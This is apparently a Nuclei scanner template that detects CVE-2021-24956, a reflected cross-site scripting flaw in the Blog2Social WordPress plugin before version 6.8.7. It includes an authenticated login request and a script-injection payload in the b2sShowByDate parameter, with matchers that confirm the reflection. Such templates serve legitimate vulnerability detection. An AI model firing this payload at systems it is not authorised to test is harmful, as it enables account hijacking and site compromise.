CVE-2021-24956: Blog2Social < 6.8.7 - Cross-Site Scripting

id: CVE-2021-24956

info:
  name: Blog2Social < 6.8.7 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 6.8.7
  reference:
    - https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24956
    cwe-id: CWE-79
    epss-score: 0.01515
    epss-percentile: 0.80576
    cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: adenion
    product: blog2social
    framework: wordpress
  tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan,adenion

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(document.domain)</script>  HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>" name='
          - 'Your Activity'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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